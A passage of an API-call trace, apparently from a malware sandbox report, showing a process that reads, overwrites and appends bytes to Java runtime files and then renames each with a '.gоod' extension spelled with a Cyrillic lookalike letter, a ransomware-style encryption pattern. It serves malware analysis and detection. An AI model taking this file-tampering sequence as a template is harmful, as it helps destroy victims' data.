files\\java\\jre1.8.0_144\\lib\\currency.data"), fInfoLevelId=0x0, lpFileInformation=0x3658430 | out: lpFileInformation=0x3658430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a)) returned 1 [0084.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0084.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", lpFilePart=0x0) returned 0x34 [0084.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0084.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0084.328] GetFileType (hFile=0x778) returned 0x1 [0084.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0084.328] GetFileType (hFile=0x778) returned 0x1 [0084.328] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0084.329] ReadFile (in: hFile=0x778, lpBuffer=0x3658808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3658808*, lpNumberOfBytesRead=0x1f49c5f8*=0x1a, lpOverlapped=0x0) returned 1 [0085.147] CloseHandle (hObject=0x778) returned 1 [0085.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", lpFilePart=0x0) returned 0x34 [0085.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0085.147] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0085.147] GetFileType (hFile=0x778) returned 0x1 [0085.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0085.147] GetFileType (hFile=0x778) returned 0x1 [0085.148] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x101a [0085.148] WriteFile (in: hFile=0x778, lpBuffer=0x3321658*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3321658*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0085.148] CloseHandle (hObject=0x778) returned 1 [0085.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", lpFilePart=0x0) returned 0x34 [0085.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0085.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0085.148] GetFileType (hFile=0x778) returned 0x1 [0085.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0085.148] GetFileType (hFile=0x778) returned 0x1 [0085.148] ReadFile (in: hFile=0x778, lpBuffer=0x33238f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x33238f8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0085.183] CloseHandle (hObject=0x778) returned 1 [0085.183] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", lpFilePart=0x0) returned 0x34 [0085.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0085.183] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0085.184] GetFileType (hFile=0x778) returned 0x1 [0085.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0085.184] GetFileType (hFile=0x778) returned 0x1 [0085.184] WriteFile (in: hFile=0x778, lpBuffer=0x3322670*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3322670*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0085.184] CloseHandle (hObject=0x778) returned 1 [0085.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", lpFilePart=0x0) returned 0x34 [0085.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.gоod", lpFilePart=0x0) returned 0x39 [0085.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0085.184] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2efcb774, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x102a)) returned 1 [0085.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0085.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.gоod")) returned 1 [0085.185] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", lpFilePart=0x0) returned 0x31 [0085.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0085.185] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), fInfoLevelId=0x0, lpFileInformation=0x339fd48 | out: lpFileInformation=0x339fd48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de)) returned 1 [0085.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0086.101] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", lpFilePart=0x0) returned 0x31 [0086.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0086.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0086.102] GetFileType (hFile=0x76c) returned 0x1 [0086.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0086.102] GetFileType (hFile=0x76c) returned 0x1 [0086.102] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0086.102] ReadFile (in: hFile=0x76c, lpBuffer=0x3475630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3475630*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0086.103] CloseHandle (hObject=0x76c) returned 1 [0086.104] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", lpFilePart=0x0) returned 0x31 [0086.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0086.104] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0086.104] GetFileType (hFile=0x76c) returned 0x1 [0086.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0086.104] GetFileType (hFile=0x76c) returned 0x1 [0086.104] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4ce7de [0086.104] WriteFile (in: hFile=0x76c, lpBuffer=0x3476898*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3476898*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0086.105] CloseHandle (hObject=0x76c) returned 1 [0086.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", lpFilePart=0x0) returned 0x31 [0086.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0086.106] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0086.106] GetFileType (hFile=0x76c) returned 0x1 [0086.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0086.106] GetFileType (hFile=0x76c) returned 0x1 [0086.106] ReadFile (in: hFile=0x76c, lpBuffer=0x3478b28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3478b28*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0086.136] CloseHandle (hObject=0x76c) returned 1 [0086.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", lpFilePart=0x0) returned 0x31 [0086.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0086.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0086.136] GetFileType (hFile=0x76c) returned 0x1 [0086.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0086.136] GetFileType (hFile=0x76c) returned 0x1 [0086.136] WriteFile (in: hFile=0x76c, lpBuffer=0x34778b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x34778b0*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0086.136] CloseHandle (hObject=0x76c) returned 1 [0086.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", lpFilePart=0x0) returned 0x31 [0086.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.gоod", lpFilePart=0x0) returned 0x36 [0086.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0086.137] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2f8e2652, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7ee)) returned 1 [0086.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0086.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.gоod")) returned 1 [0086.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", lpFilePart=0x0) returned 0x40 [0086.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0086.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), fInfoLevelId=0x0, lpFileInformation=0x34f4f20 | out: lpFileInformation=0x34f4f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948)) returned 1 [0086.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0086.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", lpFilePart=0x0) returned 0x40 [0086.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0086.707] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0086.707] GetFileType (hFile=0x6b4) returned 0x1 [0086.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0086.707] GetFileType (hFile=0x6b4) returned 0x1 [0086.707] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0086.707] ReadFile (in: hFile=0x6b4, lpBuffer=0x347d228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x347d228*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0086.711] CloseHandle (hObject=0x6b4) returned 1 [0086.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", lpFilePart=0x0) returned 0x40 [0086.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0086.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0086.711] GetFileType (hFile=0x6b4) returned 0x1 [0086.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0086.711] GetFileType (hFile=0x6b4) returned 0x1 [0086.711] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x2948 [0086.711] WriteFile (in: hFile=0x6b4, lpBuffer=0x347e4d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x347e4d0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0086.712] CloseHandle (hObject=0x6b4) returned 1 [0086.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", lpFilePart=0x0) returned 0x40 [0086.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0086.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0086.712] GetFileType (hFile=0x6b4) returned 0x1 [0086.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0086.712] GetFileType (hFile=0x6b4) returned 0x1 [0086.713] ReadFile (in: hFile=0x6b4, lpBuffer=0x34807a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x34807a0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0087.068] CloseHandle (hObject=0x6b4) returned 1 [0087.069] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", lpFilePart=0x0) returned 0x40 [0087.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.069] GetFileType (hFile=0x6b4) returned 0x1 [0087.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.069] GetFileType (hFile=0x6b4) returned 0x1 [0087.069] WriteFile (in: hFile=0x6b4, lpBuffer=0x3377d68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3377d68*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0087.069] CloseHandle (hObject=0x6b4) returned 1 [0087.069] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", lpFilePart=0x0) returned 0x40 [0087.069] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.gоod", lpFilePart=0x0) returned 0x45 [0087.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0087.069] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x301d3757, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2958)) returned 1 [0087.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0087.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.gоod")) returned 1 [0087.070] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", lpFilePart=0x0) returned 0x31 [0087.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0087.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), fInfoLevelId=0x0, lpFileInformation=0x342d248 | out: lpFileInformation=0x342d248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827)) returned 1 [0087.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0087.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", lpFilePart=0x0) returned 0x31 [0087.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.071] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.071] GetFileType (hFile=0x6b4) returned 0x1 [0087.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.071] GetFileType (hFile=0x6b4) returned 0x1 [0087.071] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0087.071] ReadFile (in: hFile=0x6b4, lpBuffer=0x342d600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x342d600*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0087.073] CloseHandle (hObject=0x6b4) returned 1 [0087.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 